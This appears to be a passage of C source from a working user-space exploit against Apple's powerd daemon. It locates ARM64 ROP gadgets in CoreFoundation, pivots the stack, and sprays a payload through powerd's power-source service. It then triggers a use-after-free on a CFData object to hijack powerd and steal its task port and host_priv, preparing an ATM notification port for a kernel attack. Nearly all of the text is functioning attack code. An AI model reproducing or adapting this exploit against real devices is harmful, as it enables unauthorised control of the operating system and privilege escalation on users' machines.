    0x1f6e01434 <+212>: ldp    x24, x23, [sp, #0x20]
    0x1f6e01438 <+216>: ldp    x26, x25, [sp, #0x10]
    0x1f6e0143c <+220>: ldp    x28, x27, [sp], #0x60
    0x1f6e01440 <+224>: ret

#endif
    mach_msg_gadget = mem_search((void*)mach_msg, "\xe1\x03\x1a\xaa\xe2\x03\x19\xaa\xe3\x03\x16\xaa\xe4\x03\x15\xaa\xe5\x03\x14\xaa",20);
#if 0 // the epilogue of mach_msg
    0x1f6e01428 <+200>: ldp    x29, x30, [sp, #0x50]
    0x1f6e0142c <+204>: ldp    x20, x19, [sp, #0x40]
    0x1f6e01430 <+208>: ldp    x22, x21, [sp, #0x30]
    0x1f6e01434 <+212>: ldp    x24, x23, [sp, #0x20]
    0x1f6e01438 <+216>: ldp    x26, x25, [sp, #0x10]
    0x1f6e0143c <+220>: ldp    x28, x27, [sp], #0x60
    0x1f6e01440 <+224>: ret
#endif
    restore_registers = mem_search(mach_msg,"\xfd\x7b\x45\xa9\xf4\x4f\x44\xa9\xf6\x57\x43\xa9\xf8\x5f\x42\xa9\xfa\x67\x41\xa9\xfc\x6f\xc6\xa8\xc0\x03\x5f\xd6",28);
    ret_sp = restore_registers + 24;

#if 0
    0x1c2794134: 0xa8c24ff4   ldp    x20, x19, [sp], #0x20
    0x1c2794138: 0xd65f03c0   ret
#endif
    load_x19 = mem_search(CoreFoundation, "\xf4\x4f\xc2\xa8\xc0\x03\x5f\xd6", 8);
    
    vals = (uint64_t *)&main_payload[0];
    vals[0] = 0x11111111;
    vals[1] = 0x22222222;
   
    // LDP  X10, X11, [X16,#0x10]
    //vals[2] = payload_address + 0x100;
    vals[2] = payload_address + 0x100;
    vals[3] = 0;    // mask: put it to zero
   
    vals = (uint64_t *)&main_payload[0x38];
    vals[0] = 0;            //ldr    x16, [x16, #0x38]
    
    vals = (uint64_t *)&main_payload[0x100];
    // jump and make X0 -> target_addr
    vals[0] = control_x0;                           //  PC Control
    vals[1] = (uint64_t)sel;                  //  SEL "release"
    stack_ptr = 0x118800300;
    
    /* =================== Start of our ROP payload ===================*/
    rop_offset = 0x200;
    // this must be update whenever the stack pointer gets changed
    stack_offset = 0x100;
    stack_ptr = payload_address + rop_offset + stack_offset;
    
    // SP = 0x118800300, after this call, we'll have FP,SP and LR under control
    rop_make_stack_pivot(stack_ptr,restore_registers);

#if 0
    // check out if our ROP chain is working as expected
    rop_u_call(mprotect,0x11,0x22,0x33,0x44,0x55,0x66,restore_registers);
    rop_u_call(mprotect,0x111,0x222,0x333,0x444,0x555,0x666,restore_registers);
    rop_u_call(0xdeadb00b,0x1111,0x2222,0x3333,0x4444,0x5555,0x6666,0x40404040);
#endif
    
    struct hp_msg msg = {0};
    struct hp_msg_recv rmsg = {0};
    
    uint64_t remote_new_port  = payload_address + 0x3300;
    
    uint64_t powerd_task_self_name = 0x103;
#if 0
    printf("msg payload is at 0x%llx\n",mach_msg_off);
    printf("msg port offset  = 0x%llx \n",mach_msg_port_off);
    printf("mach_msg_remote_port_off  = 0x%llx \n",mach_msg_remote_port_off);
    printf("powerd_bootstrap_service_name_off  = 0x%llx \n",powerd_bootstrap_service_name_off);
    printf("bootstrap port 0x%x\n",bootstrap_port);
#endif
    
    /* ROP chains :
     * - bootstrap_look_up(bootstrap_port,"service_name",&service) // &service's address is &msg.hdr.msgh_remote_port
     *      this is much more easier and reliable than registering a port set and trying to guess one port of them.
     * - mach_msg_send(msg_with_powerd_task_port) : we want the task port to get host_priv later, task_self is always 0x103
     * - task_get_special_port(task,TASK_HOST_PORT,&host) // if user is root, host == host_priv, save host somewhere
     *      we'll use it later.
     * The following steps are required to trigger the kernel bug :
     * - mach_port_construct(0x103,&options,context,&atm_port): create a mach port with a send right
     * - host_set_special_port(host,HOST_ATM_NOTIFICATION_PORT,atm_port);
     * - put the atm notification port's receive right into Mach message, see comments below
     * - mach_msg_send(msg) : send atm_port's receive right, we can receive privileged notifications
     * In the end of the ROP chain :
     *      -> we have powerd's task port : we can extract the host_priv later
     *      -> we have atm_port at our disposal
     *      -> we can go ahead and attack the kernel :-)
     */

#define ROP_RCALL   rop_u_call
#define MACH_MSG_TASK_PORT_OFF          0x3000  // the offset location of task port sending message
#define MACH_MSG_ATM_PORT_OFF           0x3050  // the offset location of atm notification port sending message
#define REMOTE_FAKE_BOOTSTRA_SERVICE    0x3100
#define REMOTE_TASK_SELF_OFF            0x3308
#define HOST_ATM_NOTIF_PORT_OFF         0x3420
#define REMOTE_BOOTSTRAP_NAME_OFF       0x3200
#define REMOTE_OPTIONS_OFF              0x3300
#define PRE_HOST_ATM_NOTIF_PORT_OFF     (REMOTE_ATM_PORT_OFF - 8)
#define REMOTE_ATM_PORT_OFF             0x3400
#define REMOTE_STR_VAL_OFF              0x3500


    uint64_t powerd_bootstrap_service_name_off = payload_address + REMOTE_BOOTSTRAP_NAME_OFF;
    uint64_t powerd_bs_fake_service_off = payload_address + REMOTE_FAKE_BOOTSTRA_SERVICE;
    
    off_t mach_msg_off = payload_address + MACH_MSG_TASK_PORT_OFF; // 0x1188003000
    off_t mach_msg_port_off = mach_msg_off + offsetof(struct hp_msg, port.name);
    off_t mach_msg_remote_port_off = mach_msg_off + offsetof(struct hp_msg, hdr.msgh_remote_port);
    off_t mach_msg_local_port_off = mach_msg_off + offsetof(struct hp_msg, hdr.msgh_local_port);
    off_t leaked_atm_port_off = mach_msg_off + offsetof(struct hp_msg, hdr.msgh_id);

#if 1
    ROP_RCALL((uint64_t)bootstrap_look_up,
              bootstrap_port,
              powerd_bootstrap_service_name_off,
              mach_msg_remote_port_off,
              0x4444,0x5555,0x6666,restore_registers);
#endif
    mach_port_options_t remote_options = {0};
    remote_options.flags = MPO_QLIMIT | MPO_INSERT_SEND_RIGHT;
    remote_options.mpl.mpl_qlimit = ATM_QLIMIT; // no need to be changed later
    
    uint64_t remote_options_address = payload_address + REMOTE_OPTIONS_OFF;
    uint64_t remote_atm_port_ptr = payload_address + REMOTE_ATM_PORT_OFF;
    memcpy(&main_payload[REMOTE_OPTIONS_OFF], &remote_options, sizeof(remote_options));
    
    memset(&msg,0,sizeof(msg));
    /* used for sending powerd task port */
    msg.hdr.msgh_size = sizeof(msg);
    msg.hdr.msgh_local_port = MACH_PORT_NULL;
    msg.hdr.msgh_remote_port = 0xdeadbeef; // must be our (fake service) port
    msg.hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
    msg.hdr.msgh_bits |= MACH_MSGH_BITS_COMPLEX;
    msg.hdr.msgh_id = 0x112233;
    msg.body.msgh_descriptor_count = 1;
    msg.port.name = 0x103;             // hardcoded mach_task_self() value
    msg.port.type = MACH_MSG_PORT_DESCRIPTOR;
    msg.port.disposition = MACH_MSG_TYPE_COPY_SEND;
    
    memcpy(&main_payload[MACH_MSG_TASK_PORT_OFF], &msg, sizeof(msg));
    memcpy(&main_payload[REMOTE_BOOTSTRAP_NAME_OFF], FAKE_SERVICE_NAME, strlen(FAKE_SERVICE_NAME));
    
    //send powerd task port
    ROP_RCALL((uint64_t)mach_msg_send,
              mach_msg_off,
              -1,-1,-1,-1,-1,restore_registers);
    
    // write host_priv port name into remote_host_priv_ptr address
    uint64_t remote_host_priv_ptr = payload_address + 0x3310;
    ROP_RCALL((uint64_t)task_get_special_port,
              0x103,
              TASK_HOST_PORT,
              remote_host_priv_ptr,             // host_priv is saved in this address
              -1,-1,-1,restore_registers);
    
    // construct the atm notification port to trigger the kernel bug
    // and put it into remote_atm_port_ptr address
    ROP_RCALL((uint64_t)mach_port_construct,
              0x103,
              remote_options_address,
              0x41414141,
              remote_atm_port_ptr,
              -1,-1,restore_registers);
    
    // This is a good gadget to load the host_priv and the atm port
    // without bruteforcing their names
    // this is indeed useful to load 2 registers only, it's enough for this case
    // but in case we want the 3rd, search for these gadgets in CoreFoundation:
    // ldp x20, x19, [sp], #0x20; ret;
    // mov x3, x19; ldp x29, x30, [sp, #0x20]; ldp x20, x19, [sp, #0x10]; ldp x22, x21, [sp], #0x30; br x4;
    // Also : it is possible to store values in the stack then load them when needed
    // I won't go for it because I've to re-engineer my ROP chains from scratch
#if 0
    0x1c3562bf0: 0xf9400000   ldr    x0, [x0]
    0x1c3562bf4: 0xf9400021   ldr    x1, [x1]
    0x1c3562bf8: 0xa9400843   ldp    x3, x2, [x2]
    0x1c3562bfc: 0xd61f0060   br     x3
#endif
    load_x0_x1_x2_br3 = mem_search(CoreFoundation, "\x00\x00\x40\xf9\x21\x00\x40\xf9\x43\x08\x40\xa9\x60\x00\x1f\xd6", 16);

#if 0
    load a value in X0 and store it into X2 pointer
    0x225e0e714: 0xf9000040   str    x0, [x2]
    0x225e0e718: 0xa9417bfd   ldp    x29, x30, [sp, #0x10]
    0x225e0e71c: 0x910083ff   add    sp, sp, #0x20             ; =0x20
    0x225e0e720: 0xd65f03c0   ret
#endif
    store_x0_into_x2 = mem_search(CoreFoundation, "\x40\x00\x00\xf9\xfd\x7b\x41\xa9\xff\x83\x00\x91\xc0\x03\x5f\xd6", 16);
    
    uint64_t remote_task_self = payload_address + REMOTE_TASK_SELF_OFF;
    uint64_t remote_host_atm_notif_ptr = payload_address + HOST_ATM_NOTIF_PORT_OFF;
    uint64_t v = HOST_ATM_NOTIFICATION_PORT;
    
    memcpy(&main_payload[REMOTE_TASK_SELF_OFF], &powerd_task_self_name, 8);
    memcpy(&main_payload[HOST_ATM_NOTIF_PORT_OFF], &v, 8);
    
    v = (uint64_t)host_set_special_port; // br x3, this is a special case of our ROP_RCALL()
    //v = 0xabadca11; // br x3, this is a special case of our ROP_RCALL()
    memcpy(&main_payload[PRE_HOST_ATM_NOTIF_PORT_OFF], &v, 8);
    
    // host_set_special_port(host_priv,15,atm_port);
    ROP_RCALL((uint64_t)load_x0_x1_x2_br3,
              remote_host_priv_ptr,
              remote_host_atm_notif_ptr,
              remote_atm_port_ptr-8,  // x3 is loaded first, (see v variable)
              -1,
              -1,-1,restore_registers);
    
    /*
     * We want to move the receive right of the atm port
     *      to be at our disposal.
     * Change msg.port.name = atm_port
     * Change msg.port.disposition = MACH_MSG_TYPE_MOVE_RECEIVE
     */
    
    uint64_t p_dst = payload_address + REMOTE_STR_VAL_OFF;      // holds [ret gadget,&msg.hdr.msgh_remote_port]
    v = ret_sp;                                             // br x3, this is a special case of our ROP_RCALL()
    memcpy(&main_payload[REMOTE_STR_VAL_OFF], &v, 8);
    v = mach_msg_port_off;
    memcpy(&main_payload[REMOTE_STR_VAL_OFF+8], &v, 8);
    
    ROP_RCALL((uint64_t)load_x0_x1_x2_br3,
              remote_atm_port_ptr,
              payload_address,                                  // whatever but must be valid
              p_dst,                                            // x3 is loaded first, (see v variable)
              -1,
              -1,-1,store_x0_into_x2);                            // now put the port name into msg.hdr.msgh_remote_port
    
    uint64_t *sp =(uint64_t *)&main_payload[rop_offset+stack_offset];
    sp[0x10/8] = 0x111111;
    sp[0x18/8] = restore_registers;
    stack_offset += 0x20; // due store_x0_into_x2 ret
    
    /*
     * Now change the disposition of the port,
     * We've already set it to MACH_MSG_TYPE_COPY_SEND, but now
     * We want to it MACH_MSG_TYPE_MOVE_RECEIVE
     */
    off_t disposition_off = mach_msg_port_off + 4;
   
    v = ret_sp;                                                    // br x3, this is a special case of our ROP_RCALL()
    memcpy(&main_payload[REMOTE_STR_VAL_OFF+0x10], &v, 8);
    v = disposition_off;// where
    memcpy(&main_payload[REMOTE_STR_VAL_OFF+0x18], &v, 8);

#if 0 // enable this if you want to move receiver right from powerd to our exploit
    v = 0x0010000000000000;                                         // MACH_MSG_TYPE_MOVE_RECEIVE with alignment
    memcpy(&main_payload[REMOTE_STR_VAL_OFF+0x20], &v, 8);
#endif
#if 1
    v = 0x0013000000000000;                                         // MACH_MSG_TYPE_COPY_SEND with alignment
    memcpy(&main_payload[REMOTE_STR_VAL_OFF+0x20], &v, 8);
#endif
    
    ROP_RCALL((uint64_t)load_x0_x1_x2_br3,
              p_dst+0x20,
              payload_address,              // whatever but must be valid
              p_dst+0x10,                      // x3 is loaded first, (see v variable)
              -1,
              -1,-1,store_x0_into_x2);  // now put the port name into msg.hdr.msgh_remote_port
    
    sp =(uint64_t *)&main_payload[rop_offset+stack_offset];
    sp[0x10/8] = 0x111111;
    sp[0x18/8] = restore_registers;
    stack_offset += 0x20; // due store_x0_into_x2 ret
  
    // send atm notification port
    ROP_RCALL((uint64_t)mach_msg_send,
              mach_msg_off,
              -1,-1,-1,-1,-1,restore_registers);
    
    // make powerd hangs until finishing
    ROP_RCALL((uint64_t)sleep,
              20,
              0x11,
              0x11,
              -1,
              -1,-1,0x40404040);
    
    vals = (uint64_t *)&tag2[0];
    for(int i=0;i<tagsize;i+=payload_size) {
        memcpy(&tag2[i], main_payload, payload_size);
    }
    
    for(int i=0; i < (tagsize/8); i++) {
        ;//vals[i] = 0x440404000 | (i * 0x10);//0xdead0000 | i;
    }
#if 0
    printf("x0 0x%llx\n",control_x0);
    printf("blr_x3 0x%llx\n",br_x3);
    printf("stack_pivot 0x%llx\n",stack_pivot);
    printf("mach_msg_gadget 0x%llx\n",mach_msg_gadget);
    printf("restore_registers = 0x%llx\n",restore_registers);
    printf("br_x6 = 0x%llx\n",br_x6);
    printf("load_x0_x1_x2_br3 = 0x%llx\n",load_x0_x1_x2_br3);
    printf("load_x19 = 0x%llx\n",load_x19);
    printf("store_x0_into_x2 = 0x%llx\n",store_x0_into_x2);
#endif
    
//#define LOCAL_EXP
#ifdef LOCAL_EXP
    printf("Testing ROP chain \n");
    vm_address_t payload =0x118800000;
    kern_return_t kr = vm_allocate(mach_task_self(),&payload,payload_size,0);
    CHECK_MACH_ERR(kr,"vm_allocate()");
    memcpy((void*)payload, main_payload,payload_size);
 
    char *buf = malloc(1000);
    memset(buf,0xcc,1000);
    CFDataRef Data = CFDataCreate(NULL,(const UInt8 *)buf,1000);
    *(uint64_t*)Data = payload;
    *(uint64_t*)((uint8_t*)Data + 0x20) =payload_address + 0x200;
    
    CFRelease(Data);
    exit(0);
#endif
    payload_address = 0x118800000;
    for(int i=0;i<20000;i++) {
        send_pegged_payload(service_port, (const char*)tag2, tagsize);
    }

#if 0
    printf("Looks like msgs sent ? \n");
    Iter = 1000;
    uint64_t guess = 0;
   
    uint64_t target = 0x118800000;
    if(!READ_MEMORY(target, 0x100, 0xdead, &guess)) {
        printf("Failed \n");
        exit(0);
    }
    Iter = 100;
    DumpHex((const void*)guess, 0x100);
#endif
    
}
static void setup_service_listener()
{
    kern_return_t kr;
    fake_service_port = MACH_PORT_NULL;
    mach_port_t bs = 0;
    
    task_get_bootstrap_port(mach_task_self(), &bs);
    kr = bootstrap_check_in(bootstrap_port,FAKE_SERVICE_NAME,&fake_service_port);
    CHECK_MACH_ERR(kr,"bootstrap_check_in");
    
    //printf("Service port 0x%x \n",fake_service_port);
}
void *register_fake_service(void *arg)
{
    struct hp_msg_recv msg = {0};
    kern_return_t kr = 0;
    printf("[+] Starting a fake service with name %s\n",FAKE_SERVICE_NAME);
    //pthread_mutex_lock(&mutex);
    setup_service_listener();
    strt_exp = 1;
    //pthread_mutex_lock(&powerd_task_lock);
    mach_port_t msg_id_as_port_name = 0;
    mach_port_t lport = 0; // the port we used as a mach_msg receiver in powerd ROP
    
#if 0
    printf("waiting for upcoming messages \n");
#endif
    for(;;) {
        memset(&msg,0,sizeof(msg));
        kr = mach_msg(&msg.hdr,MACH_RCV_MSG,
                      0,
                      sizeof(msg),
                      fake_service_port,
                      0,
                      MACH_PORT_NULL);
        if (kr == KERN_SUCCESS) {
            uint32_t kotype;
            mach_vm_address_t addr = -1;
            kern_return_t kr = mach_port_kobject(mach_task_self(),msg.port.name,&kotype,&addr);
            CHECK_MACH_ERR(kr, "mach_port_kobject");
            if(kotype == 2) { // IKOT_TASK
                powerd_task_port = msg.port.name;
                printf("[+] We got powerd task port 0x%x !!\n",powerd_task_port);
                continue;
            } else {
                atm_notification_port = msg.port.name;
                printf("[+] We got atm port send right 0x%x !!\n",atm_notification_port);

#if 0 // useable for moving receive right
                uint32_t ptype = 0;
                kr = mach_port_type(mach_task_self(),
                                    atm_notification_port,
                                    &ptype);
                
                CHECK_MACH_ERR(kr,"mach_port_type()");
                // we're waiting for atm's receive right
                if(ptype == MACH_PORT_TYPE_RECEIVE) {
                    printf("[+] We got atm port receive right 0x%x !!\n",atm_notification_port);
                    printf("[+] Kernel exploit is about to start ... \n");
                } else {
                    printf("[-] Not a receive right! check the exploit, port type = %d\n",ptype);
                    abort();
                }
#endif
            }

            // we got what we are looking for, bye
            if(powerd_task_port && atm_notification_port) {
                break;
            }
        } else {
            printf("[+] register_fake_service(): mach_msg() failed with 0x%x : %s\n",kr,
                   mach_error_string(kr));
        }
            
    }
    //pthread_mutex_unlock(&powerd_task_lock);
    //pthread_cancel(pthread_self());
    return NULL;
}

// this checks if we owned powerd process, if yes, show off powerd's task port and host_priv
int check_uexploit_success()
{
    static struct timespec time_to_wait = {5, 0};

    //pthread_mutex_lock(&powerd_task_lock);
    //pthread_cond_timedwait(&powerd_task_lock, &powerd_task_cond, &time_to_wait);
    sleep(2);
    if ((powerd_task_port == MACH_PORT_NULL) ||
        (atm_notification_port == MACH_PORT_NULL)) {
        printf("[-] Looks like the exploit failed\n");
        //pthread_mutex_lock(&powerd_task_lock);
        return 0;
    }
    
    int kr = task_get_special_port(powerd_task_port,TASK_HOST_PORT,&host_priv);
    CHECK_MACH_ERR(kr, "get_host_special_port");
    printf("[+] We have host_priv port now 0x%x\n",host_priv);
    abort();
    return 1;
}

int do_powend(void)
{
    //psizeP = 0x30000;
    uint64_t diff = 0;
    int ps_id = 0;
    
    collected = 10;
    condidates = collect_user_memory(collected);
    
    uint64_t addr = do_get_payload_address(&diff,&ps_id);
    
    printf("[+] We got a page-aligned memory : 0x%llx with controlling object ps = 0x%x\n",addr,ps_id);
    printf("[+] The offset of the target CFData object : 0x%llx\n",diff);
    
    //uint32_t tagsize = getpagesize();///2;
    uint32_t tagsize = round_page(prestore_size);
    uint8_t *tag2 = do_dummy_allocate_p(tagsize, 0xc0);
    uint64_t *vals = (uint64_t *)&tag2[0];
    
    // we are targetting a CFData object inside a huge CFDictionary, we are calling CFRelease(CFDict)
    // make sure there is no corruption in the Dictionary
    printf("[+] Restoring memory to its old state and injecting our fake ISA pointer \n");
    uint64_t v = 0xcafebab0;
    v = payload_address;
    memcpy(&prestore[diff], &v, 8);
    printf("[+] Deallocating 0x%llx ...",addr);
   
    vals = (uint64_t *)&prestore[diff];
    
    vals[0x20/8] = payload_address + 0x200; //  ldr    x0, [x0, #0x20]
    
    // deallocate the target memory
    deallocate_memory_user(addr,tagsize);
    printf("Done\n");
    
reply:
    for(int i=0;i<400;i++) {
        send_pegged_payload(service_port, (const char*)prestore, tagsize);
    }
    
#if 0
    printf("Looks like msgs sent ? \n");
    Iter = 1000;
    guess = 0;
    
    if(!READ_MEMORY(addr+diff, 0x100, 0xdead, &guess)) {
        printf("Failed \n");
        goto reply;
    }
    
    DumpHex((const void*)guess, 0x100);
#endif
    
    printf("[+] Releasing the target CF object \n");
    io_ps_release_pspowersource(service_port,ps_id);
    
    return 0;
    
}

void start_uexploit(void)
{
    host_priv = MACH_PORT_NULL;
    powerd_task_port = MACH_PORT_NULL;
//#define LOCAL_EXP
#ifdef LOCAL_EXP
    do_prepare_payload();
#endif
   
    pthread_mutex_init(&powerd_task_lock, NULL);
    pthread_cond_init(&powerd_task_cond, NULL);
    pthread_create(&svc,NULL,register_fake_service,NULL);
    int tries = 0;
    do {
        if (tries++ == 5) {
            // give your device few other attempts before considering what've been said here.
            printf("[-] The user-exploit will likely not work in this device\n");
            exit(0);
        }
        do_crash_powerd();
        do_prepare_data();
        
        while(!strt_exp){}
        printf("[+] Exploit started \n");
        
        do_prepare_payload();
       
        do_powend();
        
    } while(!check_uexploit_success());
    //exit(0);
}
